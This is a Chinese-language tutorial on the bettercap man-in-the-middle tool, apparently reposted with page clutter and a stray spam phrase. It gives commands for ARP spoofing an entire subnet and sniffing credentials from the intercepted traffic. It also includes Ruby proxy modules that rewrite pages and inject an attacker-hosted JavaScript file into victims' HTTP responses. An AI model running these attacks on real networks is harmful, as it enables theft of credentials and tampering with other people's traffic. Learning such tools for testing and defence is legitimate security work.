<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/7480

            0x00前言


            上篇提到內網滲透很有趣,這次就從一款新工具說起: bettercap

            0x01簡介


            bettercap可用來實現各種中間人攻擊,模塊化,便攜、易擴展

            0x02特點


            提到中間人攻擊,最知名的莫過于ettercap,而開發bettercap的目的不是為了追趕它,而是替代它 原因如下:

            1、ettercap很成功,但在新時代下它已經老了 2、ettercap的過濾器復雜,使用門檻高 3、在大型網絡下,主機發現功能效果很差 4、優化不夠,對研究人員來說,無用的功能太多 5、擴展性不夠,開發需要掌握C/C++語言

            0x03測試環境搭建


            kali linux:

            git clone https://github.com/evilsocket/bettercap
            cd bettercap
            gem build bettercap.gemspec
            sudo gem install bettercap*.gem
            

            如果報錯,如圖:

            這里寫圖片描述

            執行如下命令:

            sudo apt-get install ruby-dev libpcap-dev
            sudo gem install bettercap*.gem   
            

            最后成功,如圖:

            這里寫圖片描述

            0x04參數說明


            已做翻譯并加入個人理解

            用法:

            -I, --interface IFACE 指定Network interface name,默認eth0

            -S, --spoofer NAME 指定欺騙模塊,此參數默認為ARP,目前僅支持ARP,新版本會添加更多選項

            -T, --target ADDRESS 指定單一ip,如果未設置,則代表所有子網,子網所有主機自動掃描,簡單高效,十分推薦
            -O, --log LOG_FILE 日志功能

            -D, --debug 調試功能,會將每一步操作詳細記錄,便于調試

            -L, --local 解析流經本機的所有數據包(此操作會開啟嗅探器),此參數默認為關閉

            -X, --sniffer 開啟嗅探器. --sniffer-pcap FILE 將數據包保存為PCAP文件,可用Wireshark打開(此操作會開啟嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF過濾器(此操作會開啟嗅探器)

            -P, --parsers PARSERS 指定數據包(此操作會開啟嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此參數默認為所有 --no-discovery 只使用當前的ARP緩存,不去掃描其他主機,此參數默認為關閉 --no-spoofing 關閉欺騙模塊,也可以使用參數--spoofer NONE代替 --proxy 啟用HTTP代理并且重定向所有HTTP請求至本機,此參數默認為關閉 --proxy-port PORT 設置HTTP代理端口,此參數默認為8080 --proxy-module MODULE 指定加載的Ruby模塊 --httpd 開啟HTTP服務器,此參數默認為關閉 --httpd-port PORT 指定HTTP server port, 此參數默認為8081. --httpd-path PATH 指定HTTP server path,此參數默認為 ./.

            -h, --help 英文幫助

            0x05功能測試


            1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

            sudo bettercap -X
            

            掃描全部內網主機,傻瓜式操作,自動掃描并進行arp欺騙,使所有流量經過本機,如圖 這里寫圖片描述

            2、CREDENTIALS SNIFFER

            抓取流量中有價值的信息,包括:

            URLs being visited.
            HTTPS host being visited.
            HTTP POSTed data.
            HTTP Basic and Digest authentications.
            FTP credentials.
            IRC credentials.
            POP, IMAP and SMTP credentials.
            NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
            

            用法舉例:

            默認傻瓜模式,開啟所有功能:

            sudo bettercap -X
            

            如圖為抓到的163郵箱登陸數據

            這里寫圖片描述

            指定抓取的數據包:

            sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
            

            如圖為抓到192.168.40.146的FTP

            這里寫圖片描述

            3、MODULAR TRANSPARENT PROXY

            代理功能,可以攔截篡改HTTP流量

            用法舉例:

            開啟代理功能:

            sudo bettercap --proxy
            

            開啟代理功能并指定端口:

            sudo bettercap --proxy --proxy-port=8081
            

            關閉arp欺騙,只開啟代理

            sudo bettercap -S NONE --proxy
            

            開啟代理功能并加載指定的Ruby模塊

            sudo bettercap --proxy --proxy-module=hack_title.rb
            

            Ruby參考示例:

            class HackTitle < Proxy::Module
              def on_request( request, response )
                # is it a html page?
                if response.content_type == 'text/html'
                  Logger.info "Hacking http://#{request.host}#{request.url} title tag"
                  # make sure to use sub! or gsub! to update the instance
                  response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
                end
              end
            end
            

            功能為替換所有html的標題選項

            4、BUILTIN HTTP SERVER

            內置HTTP SERVER功能,可篡改HTTP響應包內容

            用法舉例:

            在網絡的每一個HTTP響應中注入JS文件

            sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
            

            Ruby參考示例:

            class InjectJS < Proxy::Module
              def on_request( request, response )
                # is it a html page?
                if response.content_type == 'text/html'
                  Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
                  # get the local interface address and HTTPD port
                  localaddr = Context.get.iface[:ip_saddr]
                  localport = Context.get.options[:httpd_port]
                  # inject the js
                  response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' 
            
            type='text/javascript'></script>" )
                end
              end
            end
            

            0x06測試心得


            亮點:

            中間人攻擊利用框架的開發,便攜,安裝簡單 整合了各種常用功能,功能模塊化,自動欺騙攻擊,提高效率 極大降低了工具的使用和開發門檻

            不足:

            目前只支持arp欺騙,功能仍需完善。
            暫不支持windows
            

            0x07總結


            之前我用過c++開發arp欺騙&中間人攻擊的程序,個人認為arp欺騙的成功與否關鍵在于ARP緩存表的修改,鎖定ARP緩存表目前就能防御bettercap基于arp的中間人攻擊 但我相信,bettercap的前景十分廣闊。

            0x08補充


            bettercap下載地址:

            http://www.bettercap.org/

            水平有限,歡迎補充。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线